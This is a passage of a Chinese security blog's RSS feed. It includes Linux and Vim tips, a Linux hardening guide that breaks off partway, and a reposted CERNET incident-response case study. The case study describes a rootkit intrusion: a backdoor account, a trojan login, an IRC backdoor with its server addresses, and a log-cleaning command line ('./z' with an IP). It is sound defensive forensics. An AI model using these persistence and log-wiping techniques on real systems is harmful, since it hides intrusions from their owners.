netstat -anp | grep php-cgi | grep ^tcp | wc -l</p>
<p>chkconfig &#8211;list | awk &#8216;{if ($5==&#8221;3:on&#8221;) print $1}&#8217;<br />
41.kudzu查看网卡型号<br />
kudzu &#8211;probe &#8211;class=network</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/linux-shell%e5%b0%8f%e6%8a%80%e5%b7%a7/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>一个Linux下的入侵响应案例</title>
		<link>http://www.0x50sec.org/%e4%b8%80%e4%b8%aalinux%e4%b8%8b%e7%9a%84%e5%85%a5%e4%be%b5%e5%93%8d%e5%ba%94%e6%a1%88%e4%be%8b/</link>
		<comments>http://www.0x50sec.org/%e4%b8%80%e4%b8%aalinux%e4%b8%8b%e7%9a%84%e5%85%a5%e4%be%b5%e5%93%8d%e5%ba%94%e6%a1%88%e4%be%8b/#comments</comments>
		<pubDate>Wed, 03 Nov 2010 07:12:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[网站防护]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[入侵响应]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=978</guid>
		<description><![CDATA[转载，原作 者：郑先伟 作者单位：CERNET应急响应组 受到攻击 最近，某校校园网管理员接到国外用户投诉，说该校园网中的一台视频服务器正在对外进行非法的TCP 443端口扫描。该视频服务器的地址是192.168.1.10，操作系统为redhat7.3，对外开放端口为TCP 22、80、443。 然而，管理员在机器上经过重重仔细检查，未观察到任何异常。在此情况下，我们接受请求帮助他们检查机器。 初步检测 我们首先在交换机上对该服务器的网络流量进行了镜像，发现该主机确实存在对外443端口的扫描流量，但是登录到系统上使用netstat -an命令却看不到任何与443端口相关的网络连接，使用psef命令也没有看到系统中有任何可疑的进程。因此，我们怀疑系统中可能被安装了 rootkit(注1)。 为了证实这一点，我们将系统中的ps命令拷贝到另外一台可信的操作系统版本相同的机器上（当然如果你在系统安装初始就维护了一张系统命令md5值表的话，那么你现在只需从别的地方拷一个md5sum程序过来就可以），使用md5sum命令对两个ps进行比对发现192.168.1.10上的ps已经被人修改过，因此可以断定系统确实是被入侵并安装了rootkit级的后门程序。 脱机分析 既然系统命令已经被替换，那么在该系统上所做的任何操作都是不可信的，因此接下来我们将被入侵服务器关闭并取下硬盘挂到另外一台主机上面进行分析。 我们首先查找系统中可疑的登录记录，使用如下命令： more /var/log/secure &#124;grep Accepted （注2） 我们对系统的登录日志进行了查看，在排除了管理员自己的登录记录后，下面这条记录引起了我们怀疑： Jul 3 14:01:01 vsp-thu sshd[14042]: Accepted password for news from 82.77.188.56 port 1143 ssh2 这条记录显示在7月3号的下午14:01:01秒，有人使用news账号从82.77.188.56成功登录了系统，经查，82.77.188.56是一个罗马尼亚的地址。根据对方直接使用news账号登录这一点来看，对方攻击成功的时间应该早于7月3号14点，因为系统默认情况下news账号是内置账号没有密码并无法登录，但是我们查看/etc/shadow文件却发现如下记录： news:$1$ChmaBoHa$ha.JnyJkIryk5wc5DeWzR1:12967:0:99999:7::: 这说明news账号被入侵者加设了密码，并改成了可以远程登录的账号，之所以做这样的修改，一般是入侵者想留下一个隐藏的登录账号，方便日后登录。我们继续检查系统的其他日志却再没发现任何可疑的纪录，很显然入侵者已经对系统的日志文件进行了修改。 继续深入 线索到这里似乎中断。而我们所知道的仅仅是入侵者可能来自罗马尼亚，他修改了系统的news账号权限，并篡改了系统日志。这些已知信息看起来对整个事件的处理并没有太大的帮助。但是我们有一个很有用的信息，就是攻击发生的大概时间可以定位在7月3号下午2点左右，有了这个时间我们就可以使用find命令来查找出这个时间段里面系统中被修改的文件有哪些？命令格式如下： Find / -ctime +nprint &#62;find.log （注3） 在输出的结果中我们发现入侵者在/var/opt下建了一个名为. (点后面是一个空格字符)（注4）的目录，而该目录下包含表1中所显示子目录和文件。 对这些程序进行分析后，知道其功能如下： 表1 入侵者在/var/opt下建立的名为.的目录 1、z程序是用来清除系统日志中相关信息的，例如： ./z 82.77.188.56这条命令执行后，系统中所有与82.77.188.56这个地址有关的日志信息全部会被清除掉； [...]]]></description>
			<content:encoded><![CDATA[<p>转载，原作 者：郑先伟</p>
<dl id="perildical_dl">
<dt>作者单位：CERNET应急响应组 </dt>
</dl>
<p>受到攻击</p>
<p>最近，某校校园网管理员接到国外用户投诉，说该校园网中的一台视频服务器正在对外进行非法的TCP 443端口扫描。该视频服务器的地址是192.168.1.10，操作系统为redhat7.3，对外开放端口为TCP 22、80、443。<br />
然而，管理员在机器上经过重重仔细检查，未观察到任何异常。在此情况下，我们接受请求帮助他们检查机器。</p>
<p>初步检测</p>
<p>我们首先在交换机上对该服务器的网络流量进行了镜像，发现该主机确实存在对外443端口的扫描流量，但是登录到系统上使用netstat -an命令却看不到任何与443端口相关的网络连接，使用psef命令也没有看到系统中有任何可疑的进程。因此，我们怀疑系统中可能被安装了 rootkit(注1)。</p>
<p>为了证实这一点，我们将系统中的ps命令拷贝到另外一台可信的操作系统版本相同的机器上（当然如果你在系统安装初始就维护了一张系统命令md5值表的话，那么你现在只需从别的地方拷一个md5sum程序过来就可以），使用md5sum命令对两个ps进行比对发现192.168.1.10上的ps已经被人修改过，因此可以断定系统确实是被入侵并安装了rootkit级的后门程序。<br />
<span id="more-978"></span><br />
脱机分析</p>
<p>既然系统命令已经被替换，那么在该系统上所做的任何操作都是不可信的，因此接下来我们将被入侵服务器关闭并取下硬盘挂到另外一台主机上面进行分析。<br />
我们首先查找系统中可疑的登录记录，使用如下命令：</p>
<p>more /var/log/secure |grep Accepted （注2）</p>
<p>我们对系统的登录日志进行了查看，在排除了管理员自己的登录记录后，下面这条记录引起了我们怀疑：</p>
<p>Jul 3 14:01:01 vsp-thu sshd[14042]: Accepted password for news from 82.77.188.56 port 1143 ssh2</p>
<p>这条记录显示在7月3号的下午14:01:01秒，有人使用news账号从82.77.188.56成功登录了系统，经查，82.77.188.56是一个罗马尼亚的地址。根据对方直接使用news账号登录这一点来看，对方攻击成功的时间应该早于7月3号14点，因为系统默认情况下news账号是内置账号没有密码并无法登录，但是我们查看/etc/shadow文件却发现如下记录：</p>
<p>news:$1$ChmaBoHa$ha.JnyJkIryk5wc5DeWzR1:12967:0:99999:7:::</p>
<p>这说明news账号被入侵者加设了密码，并改成了可以远程登录的账号，之所以做这样的修改，一般是入侵者想留下一个隐藏的登录账号，方便日后登录。我们继续检查系统的其他日志却再没发现任何可疑的纪录，很显然入侵者已经对系统的日志文件进行了修改。</p>
<p>继续深入</p>
<p>线索到这里似乎中断。而我们所知道的仅仅是入侵者可能来自罗马尼亚，他修改了系统的news账号权限，并篡改了系统日志。这些已知信息看起来对整个事件的处理并没有太大的帮助。但是我们有一个很有用的信息，就是攻击发生的大概时间可以定位在7月3号下午2点左右，有了这个时间我们就可以使用find命令来查找出这个时间段里面系统中被修改的文件有哪些？命令格式如下：</p>
<p>Find / -ctime +nprint &gt;find.log （注3）</p>
<p>在输出的结果中我们发现入侵者在/var/opt下建了一个名为. (点后面是一个空格字符)（注4）的目录，而该目录下包含表1中所显示子目录和文件。</p>
<p>对这些程序进行分析后，知道其功能如下：</p>
<p><a href="http://www.0x50sec.org/wp-content/uploads/2010/11/1.gif"><img class="aligncenter size-full wp-image-983" title="1" src="http://www.0x50sec.org/wp-content/uploads/2010/11/1.gif" alt="" width="532" height="221" /></a></p>
<p>表1 入侵者在/var/opt下建立的名为.的目录</p>
<p>1、z程序是用来清除系统日志中相关信息的，例如：</p>
<p>./z 82.77.188.56这条命令执行后，系统中所有与82.77.188.56这个地址有关的日志信息全部会被清除掉；</p>
<p>2、cata目录下是一个IRC的后门程序，运行后系统会自动连接到以下4个IRC服务器，然后入侵者只要登录相应的IRC聊天室就能向这台机器发送控制指令，4个IRC聊天室服务器地址为：</p>
<p>server 194.134.7.195 6662</p>
<p>server 195.197.175.21 7000</p>
<p>server 161.53.178.240 6667</p>
<p>server 66.198.160.2 8080；</p>
<p>3、login程序是用来替换系统登录进程的木马程序，可以记录登录账号和密码；</p>
<p>4、kaka目录里放置的是用来替换系统命令的相应程序，就是这个目录里的程序使得我们在系统上看不出有任何异常；</p>
<p>5、atp 目录下放置的是专门用来扫描https服务和攻击openssl的程序，国外发过来的443端口的扫描投诉就是因为这个目录里的openssl-too程序引起的。这个攻击程序是2005年4月19号被公布出来的，利用的是编号为CAN-2002-0656的openssl程序的漏洞；</p>
<p>另外，在7月3号被入侵者修改的文件还包括以下两个：</p>
<p>/etc/httpd/conf/httpd.conf（注5）</p>
<p>/etc/httpd/logs/ssl_request_log（注6）</p>
<p>由此可见：</p>
<p>1、入侵者修改了httpd.conf文件，注销了httpd.conf的443端口（跟管理员确认了不是他们自己注销的），大概是不想漏洞被其他人利用；</p>
<p>2、入侵者删除了ssl_request_log日志中的7月3号中午12点到14点的所有纪录（因为ssl_request_log并不算系统日志，所以不能用z程序直接清除，入侵者只能手动删除相应时间段的日志记录）。</p>
<p>继续检查相应日志我们又发现在root目录下的.bash_history（注7）文件中有如下一条命令纪录：./z 82.77.188.240</p>
<p>揭开谜团<br />
有了上面这些信息，我们就可以对本次入侵事件做出如下分析：</p>
<p>1、入侵时间：从目录生成时间和入侵者删除ssl_request_log日志中相应时间段记录的情况来看入侵的大概时间应该在7月3号中午13点左右；</p>
<p>2、利用的漏洞：利用漏洞扫描程序对系统进行扫描发现系统中存在多个可被利用的漏洞，但是从入侵者关闭apache的443端口服务和修改 ssl_request_log日志文件来看，他利用的是apache的mod_ssl模块的漏洞（CAN-2002-0656）入侵系统的；</p>
<p>3、攻击地址来源：攻击地址来源有两个为82.77.188.56和82.77.188.240（但是这两个地址很有可能也是被入侵者控制的机器）；</p>
<p>4、入侵者进入系统后做了以下这些操作：<br />
在系统中安装了通过IRC聊天服务器控制的后门程序修改了系统中news账号的权限和密码；</p>
<p>替换系统中一系列的系统命令；</p>
<p>替换了系统本身的login程序，并获得root的密码（注8）；</p>
<p>利用攻击程序对外进行443端口的扫描与攻击；</p>
<p>使用清除程序清除了系统日志中的相关记录。</p>
<p>解决办法</p>
<p>由于系统内核级的程序已经被替换，我们建议用户备份所需数据后重新安装系统，并执行以下操作：</p>
<p>1、安装更高版本的操作系统；</p>
<p>2、安装相应的系统补丁程序；</p>
<p>3、修改系统管理员的密码，并检查同网段内其他使用相同密码的主机。（因为入侵者已经通过木马程序获得了管理员的口令）；</p>
<p>4、安装更高版本的apache程序，并关闭不必要服务端口；</p>
<p>5、使用防火墙限制ssh 22端口的登录来源地址。</p>
<p>（作者单位为CERNET应急响应组）</p>
<p>注释</p>
<p>注1：简单点说rootkit就是一种黑客的工具包，它里面通常包括：修改过的系统命令程序、后门程序、攻击程序、日志清除程序等，黑客使用rootkit程序就是为了在被入侵的主机上隐藏自己的攻击行为。</p>
<p>注2：/var/log/secure 记录了系统账号的登录信息，而grep Accepted可以有效地过滤掉那些不成功的登录记录。</p>
<p>注3：这个命令的意思就是查找“/”目录下的所有n天前被修改过的文件，使用&gt;管道符是为了将查询结果输出到find.log文件中，便于后面的分析。</p>
<p>注4：linux系统中以“.”开头的文件和目录都隐藏文件，需要使用ls -al命令才能查看到，而点后面加空格的目录名字很容易在ls -al显示结果中被我们忽略过去）</p>
<p>注5：httpd.conf是apche程序的主配置文件，在这个文件里注释掉443端口，将导致apche无法正常提供443端口的https服务。</p>
<p>注6：ssl_request_log文件是apache的一个日志文件，它记录着用户基于https协议的访问信息。</p>
<p>注7：默认情况下各相应用户主目录下的.bash_history文件记录保存着500条该用户在系统中曾经执行过的操作命令。</p>
<p>注 8：既然入侵者已经使用了清除程序清除了系统日志，为什么还在root的.bash_history中留下了./z 82.77.188.240命令的记录呢？这就要从.bash_history的记录机制说起了，用户每次登录系统后所做的任何操作并不会直接就存储到了.bash_history文件中，而是保存在一个变量中，只有当用户退出登录以后，这个变量的值才会被写入到.bash_history文件中。这就说明入侵者最后一次是通过82.77.188.240这个地址使用root账号登录系统的，他在运行./z 82.77.188.240这个命令时./bash_history中还没有这条记录，所以也没有被清除，当他退出系统后，变量中的./z 82.77.188.240就被写入到.bash_history中了。因此我们可以断定入侵者已经通过假冒的login程序获得了root的密码。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e4%b8%80%e4%b8%aalinux%e4%b8%8b%e7%9a%84%e5%85%a5%e4%be%b5%e5%93%8d%e5%ba%94%e6%a1%88%e4%be%8b/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Linux控制台（文本模式）下提高工作效率的快捷键</title>
		<link>http://www.0x50sec.org/linux%e6%8e%a7%e5%88%b6%e5%8f%b0%ef%bc%88%e6%96%87%e6%9c%ac%e6%a8%a1%e5%bc%8f%ef%bc%89%e4%b8%8b%e6%8f%90%e9%ab%98%e5%b7%a5%e4%bd%9c%e6%95%88%e7%8e%87%e7%9a%84%e5%bf%ab%e6%8d%b7%e9%94%ae/</link>
		<comments>http://www.0x50sec.org/linux%e6%8e%a7%e5%88%b6%e5%8f%b0%ef%bc%88%e6%96%87%e6%9c%ac%e6%a8%a1%e5%bc%8f%ef%bc%89%e4%b8%8b%e6%8f%90%e9%ab%98%e5%b7%a5%e4%bd%9c%e6%95%88%e7%8e%87%e7%9a%84%e5%bf%ab%e6%8d%b7%e9%94%ae/#comments</comments>
		<pubDate>Wed, 03 Nov 2010 05:50:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[网站防护]]></category>
		<category><![CDATA[console]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[快捷键]]></category>
		<category><![CDATA[控制台]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=973</guid>
		<description><![CDATA[来源:http://blog.csdn.net/eroswang/archive/2009/02/17/3903191.aspx 在Linux环境里，有一些按键有特殊的含意。 # Ctrl-U: 擦除一行光标前面的部分。 # Ctrl-H: 擦除光标前面的一个字符。 # Ctrl-D: 终止输入。(退出 shell，如果您正在使用 shell 的话)。 # Ctrl-C: 终止当前正在运行的程序。 # Ctrl-Z: 暂停程序。 &#38;&#8221;) # Ctrl-S: 停止向屏幕输出。 # Ctrl-Q: 重新激活向屏幕输出。 默认的 shell，`bash’， 有历史编辑和 tab 补齐功能。 # up-arrow: 开始历史命令搜索。 # Ctrl-R: 开始增量历史命令搜索，可以按照关键字查查自己用过哪些命令。 # TAB: 完整的把文件名输入到命令行。 # Ctrl-V TAB: 输入 TAB 而不是扩展命令行。 # Ctrl + P &#8211; 上一条命令 # Ctrl [...]]]></description>
			<content:encoded><![CDATA[<p>来源:http://blog.csdn.net/eroswang/archive/2009/02/17/3903191.aspx</p>
<p>在Linux环境里，有一些按键有特殊的含意。<br />
# Ctrl-U: 擦除一行光标前面的部分。<br />
# Ctrl-H: 擦除光标前面的一个字符。<br />
# Ctrl-D: 终止输入。(退出 shell，如果您正在使用 shell 的话)。<br />
# Ctrl-C: 终止当前正在运行的程序。<br />
# Ctrl-Z: 暂停程序。<br />
&amp;&#8221;)<br />
# Ctrl-S: 停止向屏幕输出。<br />
# Ctrl-Q: 重新激活向屏幕输出。</p>
<p>默认的 shell，`bash’， 有历史编辑和 tab 补齐功能。</p>
<p># up-arrow: 开始历史命令搜索。<br />
# Ctrl-R: 开始增量历史命令搜索，可以按照关键字查查自己用过哪些命令。<br />
# TAB: 完整的把文件名输入到命令行。<br />
# Ctrl-V TAB: 输入 TAB 而不是扩展命令行。<br />
# Ctrl + P &#8211; 上一条命令<br />
# Ctrl + N &#8211; 下一条命令<br />
# Ctrl-U: 擦除一行光标前面的部分。<br />
# Ctrl + Y &#8211; 粘贴前一Ctrl+U类命令删除的字符 ，是粘贴不是撤销啊！</p>
<p>下面的应用可能稍稍高级一点点<br />
# !! &#8211; 上一条命令<br />
# !-n &#8211; 倒数第N条历史命令<br />
# !-n:p &#8211; 打印上一条命令（不执行）<br />
# !?string？- 最新一条含有“string”的命令<br />
# !-n:gs/str1/str2/ &#8211; 将倒数第N条命令的str1替换为str2，并执行（若不加g,则仅替换第一个）<br />
<span id="more-973"></span><br />
其他一些有用的按键组合。<br />
Ctrl-Alt-Del:挂起或者重新启动系统，这三个按键在Linux下可以轻松地修改成关机的操作，这对于单用户的朋友还是很方便的</p>
<p># Ctrl + l &#8211; 清屏<br />
# Ctrl + A &#8211; 光标移到行首<br />
# Ctrl + E &#8211; 光标移到行尾<br />
# Ctrl + W &#8211; 清除光标之前一个单词<br />
# Ctrl + K &#8211; 清除光标到行尾的字符<br />
# Ctrl + T &#8211; 交换光标前两个字符<br />
# Ctrl + V &#8211; 输入控制字符 如Ctrl+v ,会输入^M<br />
# Ctrl + F &#8211; 光标后移一个字符<br />
# Ctrl + B &#8211; 光标前移一个字符<br />
# Ctrl + H &#8211; 删除光标前一个字符<br />
# N++F &#8211; 光标后移N个单词，N为1时可省略<br />
# N++B &#8211; 光标前移N个单词，N为1时可省略<br />
# Left-click-and-drag mouse: 选择并且拷贝到剪贴板。<br />
# Click middle mouse button: 使用剪贴板的内容粘贴。<br />
# Meta-key (Emacs terminology) 传统的是使用 Left-Alt-key.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/linux%e6%8e%a7%e5%88%b6%e5%8f%b0%ef%bc%88%e6%96%87%e6%9c%ac%e6%a8%a1%e5%bc%8f%ef%bc%89%e4%b8%8b%e6%8f%90%e9%ab%98%e5%b7%a5%e4%bd%9c%e6%95%88%e7%8e%87%e7%9a%84%e5%bf%ab%e6%8d%b7%e9%94%ae/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>一些Vim使用的小技巧</title>
		<link>http://www.0x50sec.org/%e4%b8%80%e4%ba%9bvim%e4%bd%bf%e7%94%a8%e7%9a%84%e5%b0%8f%e6%8a%80%e5%b7%a7/</link>
		<comments>http://www.0x50sec.org/%e4%b8%80%e4%ba%9bvim%e4%bd%bf%e7%94%a8%e7%9a%84%e5%b0%8f%e6%8a%80%e5%b7%a7/#comments</comments>
		<pubDate>Wed, 03 Nov 2010 05:49:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[网站防护]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[vim]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=971</guid>
		<description><![CDATA[From:http://blog.csdn.net/eroswang 太简单的就不说了，随便找手册可以找到，这里就说说一些小技巧吧，也是最近使用给逼出来的学习，呵呵，不过挺方便的。 1. 全局替换 (1) v + G + $ 选定全部，然后输入 :s/原始字符串/目标字符串/ (2) :%s/原始字符串/目标字符串/ 2. 清除页面中所有行尾的空白符： :%s/\s\+$// 3. 清除所有空白 :%s/\(\s*\n\)\+/\r/ 4. 去掉所有的//注释 :%s!\s*//.*!! 5. 去掉所有的/* */注释 :%s!\s*/\*\_.\{-}\*/\s*! ! 6. 做某些内部数据重复替换 有些时候我们需要组织一些批量的数据进行命令行的执行，比如我们需要利用前面的数据生成后面的数据，例如这样的数据： /var/database/aaa.txt /var/database/bbb.txt /var/database/ccc.txt 我想变成一个个的指令，比如变成一个个复制命令，复制到但前目录，那么可以执行： :%s/\(.*base\/\)\(.*\.txt\)/cp \1\2 \.\/\2/ 变成了： cp /var/database/aaa.txt ./aaa.txt cp /var/database/bbb.txt ./bbb.txt cp /var/database/ccc.txt ./ccc.txt 这里关键是子模式的使用: () 中间的，\1 代表第一个找到的子模式，\2代表第二个，以此类推，vim里面的()必须转义，跟其他语言不一样 7. 增加注释（一个操作应用在多行） 比如需要增加#或者是//这种注释： [...]]]></description>
			<content:encoded><![CDATA[<p>From:http://blog.csdn.net/eroswang<br />
太简单的就不说了，随便找手册可以找到，这里就说说一些小技巧吧，也是最近使用给逼出来的学习，呵呵，不过挺方便的。</p>
<p>1. 全局替换<br />
(1) v + G + $ 选定全部，然后输入 :s/原始字符串/目标字符串/<br />
(2) :%s/原始字符串/目标字符串/</p>
<p>2. 清除页面中所有行尾的空白符：<br />
:%s/\s\+$//</p>
<p>3. 清除所有空白<br />
:%s/\(\s*\n\)\+/\r/</p>
<p>4. 去掉所有的//注释<br />
:%s!\s*//.*!!</p>
<p>5. 去掉所有的/* */注释<br />
:%s!\s*/\*\_.\{-}\*/\s*! !</p>
<p>6. 做某些内部数据重复替换<br />
有些时候我们需要组织一些批量的数据进行命令行的执行，比如我们需要利用前面的数据生成后面的数据，例如这样的数据：<br />
/var/database/aaa.txt<br />
/var/database/bbb.txt<br />
/var/database/ccc.txt</p>
<p>我想变成一个个的指令，比如变成一个个复制命令，复制到但前目录，那么可以执行：<br />
:%s/\(.*base\/\)\(.*\.txt\)/cp \1\2 \.\/\2/<br />
<span id="more-971"></span><br />
变成了：<br />
cp /var/database/aaa.txt ./aaa.txt<br />
cp /var/database/bbb.txt ./bbb.txt<br />
cp /var/database/ccc.txt ./ccc.txt</p>
<p>这里关键是子模式的使用: () 中间的，\1 代表第一个找到的子模式，\2代表第二个，以此类推，vim里面的()必须转义，跟其他语言不一样</p>
<p>7. 增加注释（一个操作应用在多行）<br />
比如需要增加#或者是//这种注释：<br />
Ctrl + v 定位到开始行，然后选定需要的行，然后执行 I 命令，然后输入 # 或 //，然后按 Esc键两次，即可把注释操作应用到所有选定的行，记住选定不能使用v指令，而应该使用Ctrl + v （清除注释请参考上面的方法）(v是按行选定，Ctrl + v 是按照列选定)</p>
<p>8. 对齐行<br />
v 选定需要整齐的行，输入 = 进行归整</p>
<p>9. 打开多窗口<br />
在vim中使用 :sp 文件名 打开行窗口（横），使用 :vsp 文件名 打开列窗口（竖），使用 :q 关闭当前窗口，使用 :qa 关闭所有窗口，使用 Ctrl + w 在各个窗口中进行切换。<br />
最大化窗口：Ctrl + w 激活某个窗口，然后 Shitf + &#8211; 进行最大化<br />
改变窗口到指定行高度：Ctrl + w 激活窗口，10（需要变成的行大小数字），Shift + -，执行改变<br />
增加若干行高度：Ctrl + w 激活窗口，10（需要增加的行大小数字），Shift + +，执行改变</p>
<p>10. 字符串/变量提示<br />
在输入内容状态，按 Ctrl + P 则显示所有本页中定义的字符串，如果输入字符串部分内容，然后按 Ctrl + p 则把所有你输入字符串开头的内容显示出来。在输入状态下按 Ctrl + x 能过查看所有有效的其他方式</p>
<p>参考URL：</p>
<p>http://www-128.ibm.com/developerworks/cn/linux/l-tip-vim1/</p>
<p>http://man.chinaunix.net/newsoft/vi/doc/help.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/%e4%b8%80%e4%ba%9bvim%e4%bd%bf%e7%94%a8%e7%9a%84%e5%b0%8f%e6%8a%80%e5%b7%a7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>windows命令行下最大化、最小化打开网址</title>
		<link>http://www.0x50sec.org/windows%e5%91%bd%e4%bb%a4%e8%a1%8c%e4%b8%8b%e6%9c%80%e5%a4%a7%e5%8c%96-%e6%9c%80%e5%b0%8f%e5%8c%96%e6%89%93%e5%bc%80%e7%bd%91%e5%9d%80/</link>
		<comments>http://www.0x50sec.org/windows%e5%91%bd%e4%bb%a4%e8%a1%8c%e4%b8%8b%e6%9c%80%e5%a4%a7%e5%8c%96-%e6%9c%80%e5%b0%8f%e5%8c%96%e6%89%93%e5%bc%80%e7%bd%91%e5%9d%80/#comments</comments>
		<pubDate>Mon, 17 May 2010 13:01:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[网站防护]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=887</guid>
		<description><![CDATA[命令行(cmd.exe)下运行浏览器打开网址如 Http://www.0x50sec.org  可以用如下命令： 使用IE浏览器打开 www.0x50sec.org explorer Http://www.0x50sec.org  使用默认浏览器打开 www.0x50sec.org start Http://www.0x50sec.org 最大化、最小化运行浏览器打开网址 start /max explorer Http://www.0x50sec.org start /min explorer Http://www.0x50sec.org]]></description>
			<content:encoded><![CDATA[<p>命令行(cmd.exe)下运行浏览器打开网址如 <a href="http://www.0x50sec.org">Http://www.0x50sec.org</a> </p>
<p>可以用如下命令：</p>
<p>使用IE浏览器打开 www.0x50sec.org</p>
<p>explorer <a href="http://www.0x50sec.org">Http://www.0x50sec.org</a> </p>
<p>使用默认浏览器打开 www.0x50sec.org</p>
<p>start <a href="http://www.0x50sec.org">Http://www.0x50sec.org</a></p>
<p>最大化、最小化运行浏览器打开网址</p>
<p>start /max explorer <a href="http://www.0x50sec.org">Http://www.0x50sec.org</a></p>
<p>start /min explorer <a href="http://www.0x50sec.org">Http://www.0x50sec.org</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.0x50sec.org/windows%e5%91%bd%e4%bb%a4%e8%a1%8c%e4%b8%8b%e6%9c%80%e5%a4%a7%e5%8c%96-%e6%9c%80%e5%b0%8f%e5%8c%96%e6%89%93%e5%bc%80%e7%bd%91%e5%9d%80/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux服务器加固Paper</title>
		<link>http://www.0x50sec.org/linux%e6%9c%8d%e5%8a%a1%e5%99%a8%e5%8a%a0%e5%9b%bapaper/</link>
		<comments>http://www.0x50sec.org/linux%e6%9c%8d%e5%8a%a1%e5%99%a8%e5%8a%a0%e5%9b%bapaper/#comments</comments>
		<pubDate>Thu, 15 Apr 2010 03:18:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[网站防护]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[服务器加固]]></category>

		<guid isPermaLink="false">http://www.0x50sec.org/?p=784</guid>
		<description><![CDATA[beach翻译的，继续分享 目录： 1.BIOS 2.SSH安全 3.禁用telnet 4.禁用代码编译 5.ProFTP 6.TCPwrappers 7.创建一个SU组 8.root通知 9.history安全 10.欢迎信息 11.禁用所有特殊账户 12.chmod危险文件 13.指定允许root登陆的TTY设备 14.选择一个安全的密码 15.检查Rootkit 16.安装补丁 17.隐藏Apache信息 18.隐藏php信息 19.关闭不使用的服务 20.检测监听中的端口 21.关闭打开的端口和服务 22.删除不用的rpm包 23.禁用危险的php函数 24.安装配置防火墙 25.安装和配置BFD 26.内核加固(sysctl.conf) 27.更改SSH端口 28./tmp /var/tmp,/dev/shm分区安全 29.PHP IDS 总结 ======================================================================== 介绍 这个教程将一步步的指引你，使你的Linux系统变得安全。 任何默认安装的操作系统都是不够安全的，本文将指引你如何建立一个 相对安全的Linux系统。 ======================================================================== 1.BIOS 你应该总是在系统启动的时候设置一个BIOS密码和禁用从CD-ROM和软盘引导。 这将防止一些人未经允许访问你的系统和更改BIOS设置 2.SSH安全 SSH是一个协议，利用它可以登录到一个远程系统或远程执行系统命令， 默认允许root登录，并且sshv1存在缺陷，我们应该在 sshd_config禁止root访问和使用sshv2来让ssh更加安全。 方法： vi /etc/ssh/sshd_config 把协议改为2 PermitRootLogin = no 重启sshd [...]]]></description>
			<content:encoded><![CDATA[<p>beach翻译的，继续分享<br />
目录：<br />
1.BIOS<br />
2.SSH安全<br />
3.禁用telnet<br />
4.禁用代码编译<br />
5.ProFTP<br />
6.TCPwrappers<br />
7.创建一个SU组<br />
8.root通知<br />
9.history安全<br />
10.欢迎信息<br />
11.禁用所有特殊账户<br />
12.chmod危险文件<br />
13.指定允许root登陆的TTY设备<br />
14.选择一个安全的密码<br />
15.检查Rootkit<br />
16.安装补丁<br />
17.隐藏Apache信息<br />
18.隐藏php信息<br />
19.关闭不使用的服务<br />
20.检测监听中的端口<br />
21.关闭打开的端口和服务<br />
22.删除不用的rpm包<br />
23.禁用危险的php函数<br />
24.安装配置防火墙<br />
25.安装和配置BFD<br />
26.内核加固(sysctl.conf)<br />
27.更改SSH端口<br />
28./tmp /var/tmp,/dev/shm分区安全<br />
29.PHP IDS<br />
<span id="more-784"></span><br />
总结<br />
========================================================================<br />
介绍</p>
<p>这个教程将一步步的指引你，使你的Linux系统变得安全。<br />
任何默认安装的操作系统都是不够安全的，本文将指引你如何建立一个<br />
相对安全的Linux系统。<br />
========================================================================<br />
1.BIOS<br />
你应该总是在系统启动的时候设置一个BIOS密码和禁用从CD-ROM和软盘引导。<br />
这将防止一些人未经允许访问你的系统和更改BIOS设置</p>
<p>2.SSH安全<br />
SSH是一个协议，利用它可以登录到一个远程系统或远程执行系统命令，<br />
默认允许root登录，并且sshv1存在缺陷，我们应该在<br />
sshd_config禁止root访问和使用sshv2来让ssh更加安全。</p>
<p>方法：<br />
vi /etc/ssh/sshd_config<br />
把协议改为2<br />
PermitRootLogin = no<br />
重启sshd /etc/rc.d/init.d/sshd restart</p>
<p>3.禁用telnet<br />
早期的Linux默认开启telnet服务，telnet,ftp,rlogin都是明文传输的协议<br />
是容易被嗅探到的，这就是为什么推荐使用安全的版本(sftp,scp,ssh)的原因<br />
如果你必须要使用telnet，那么至少应该隐藏banner信息</p>
<p>方法：<br />
修改/etc/xinetd.d/telnet<br />
disable=yes</p>
<p>4.禁用代码编译<br />
你可以禁用代码编译并且只把编译的权限分配给一个用户组<br />
方法：<br />
添加编译用户组 /usr/sbin/groupadd compiler ，cd /usr/bin<br />
把常见的编译器所属组赋给编译用户组<br />
chgrp compiler *cc*<br />
chgrp compiler *++*<br />
chgrp compiler ld<br />
chgrp compiler as<br />
设置mysqlaccess的访问<br />
chgrp root mysqlaccess<br />
设置权限<br />
chmod 750 *cc*<br />
chmod 750 *++*<br />
chmod 750 ld<br />
chmod 750 as<br />
chmod 755 mysqlaccess<br />
把用户添加到组里<br />
修改/etc/group<br />
compiler:x:520:user1,user2</p>
<p>5.ProFTP<br />
你可以通过修改proftpd.conf来禁止root登陆<br />
方法：<br />
修改/etc/proftpd.conf<br />
Add RootLogin off<br />
重启proftpd /sbin/service proftpd stop<br />
